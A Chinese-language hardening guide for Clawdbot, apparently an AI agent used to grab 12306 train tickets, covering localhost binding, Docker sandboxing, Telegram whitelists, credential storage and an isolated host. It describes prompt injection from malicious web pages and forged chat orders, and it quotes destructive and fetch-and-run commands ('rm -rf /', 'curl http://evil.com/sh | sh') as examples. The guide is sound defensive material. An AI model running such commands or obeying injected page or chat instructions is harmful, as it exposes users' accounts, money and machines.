Clawdbot抢票需五步安全加固:一、限制监听地址为127.0.0.1并启用强Token认证;二、启用全沙箱隔离与Docker无网络模式;三、Telegram入口设白名单并严管Bot Token;四、禁用明文记忆,凭证单独加密存储;五、部署于隔离环境并严格管控网络。

如果您尝试将Clawdbot用作抢票工具,需高度警惕其默认配置下对系统权限的无差别开放——它可执行终端命令、读写全部文件、接管浏览器并自动提交表单,但这些能力在未加固状态下极易被提示词注入或远程攻击者劫持,导致账号泄露、资金盗刷甚至设备沦陷。以下是针对Clawdbot抢票场景的安全加固与基础部署步骤:
一、关闭公网暴露端口并启用身份认证
Clawdbot默认监听0.0.0.0:18789,相当于将控制网关直接暴露于互联网扫描之下;攻击者可在数分钟内完成端口发现、Token暴力破解与远程Shell接管。必须强制限制访问范围并启用强认证机制。
1、编辑.env文件,在其中添加或修改以下两行:
2、GATEWAY_AUTH_TOKEN=Zx9#qL2$mN8vRtFy
3、GATEWAY_BIND_ADDRESS=127.0.0.1:18789
4、保存后重启Clawdbot服务,确保netstat -tuln | grep 18789仅显示127.0.0.1:18789而非*:18789。
二、启用沙箱隔离并禁用高危系统调用
抢票脚本常需调用curl、wget、chromium-browser等工具,若不加约束,攻击者可通过构造恶意网页内容触发提示词注入,诱导Clawdbot执行rm -rf /或curl http://evil.com/sh | sh等破坏性指令。沙箱机制可切断其对宿主机关键路径的访问能力。
1、在config.yaml中定位sandbox:字段,将其值设为all;
2、在同文件中添加docker:区块,并设置network: none;
3、确认已安装Docker且当前用户属于docker组;
4、禁止在工具配置中启用shell、exec、system等原生命令插件;
5、重启服务后运行clawdbot status,验证沙箱状态显示active。
三、限制聊天入口权限与用户白名单
Telegram或WhatsApp等入口若保持默认DM开放策略,任何获取到Bot Token的第三方均可向Clawdbot发送任意指令。抢票场景下尤其危险——攻击者可伪造“立即下单”“支付12306账户余额”等指令,绕过人工确认直接执行。
1、在config.yaml中找到dm_policy:字段,将其值由open改为whitelist;
2、在同文件中添加whitelist_users:列表,填入您Telegram的user_id(可通过@userinfobot获取);
3、绝对禁止将Clawdbot Bot Token提交至GitHub、Notion或任何共享协作平台;
4、使用clawdbot reload重载配置,检查日志中是否出现DM policy set to whitelist。
四、剥离永久记忆与敏感凭证存储
Clawdbot的“永久记忆”功能虽便于记住12306账号密码、常用乘车人信息,但所有记忆均以明文Markdown格式存于本地memory/目录。一旦设备失窃或遭横向渗透,凭证将瞬间泄露。抢票类操作必须切断记忆与凭证的自动关联。
1、删除memory/目录下所有.md文件;
2、在config.yaml中将memory.enabled:设为false;
3、手动创建secrets/12306.yml,仅包含username:与password:字段,并执行chmod 600 secrets/12306.yml;
4、抢票脚本中所有凭证读取必须通过环境变量注入,严禁硬编码或从memory目录加载;
5、验证ls -l secrets/12306.yml输出权限位为-rw-------。
五、部署独立运行环境并禁用非必要网络连接
将Clawdbot与日常办公系统共存存在严重风险:抢票过程高频触发浏览器自动化,易被恶意网页利用侧信道攻击反向渗透主机。最佳实践是使用物理隔离设备或轻量级虚拟机,彻底阻断其与主系统的数据通路。
1、准备一台闲置树莓派4B(4GB内存)或5美元/月VPS,仅安装Ubuntu 24.04 minimal;
2、在该设备上新建专用用户clawbot,并禁用SSH密码登录,仅保留密钥认证;
3、安装Clawdbot时指定--prefix /home/clawbot/.local,避免污染系统路径;
4、配置iptables规则,仅允许出站DNS与HTTPS流量,禁止所有入站连接(除localhost外);
5、执行sudo iptables -A OUTPUT ! -d 127.0.0.1 -p tcp --dport 443 -j ACCEPT与sudo iptables -A OUTPUT -j DROP。











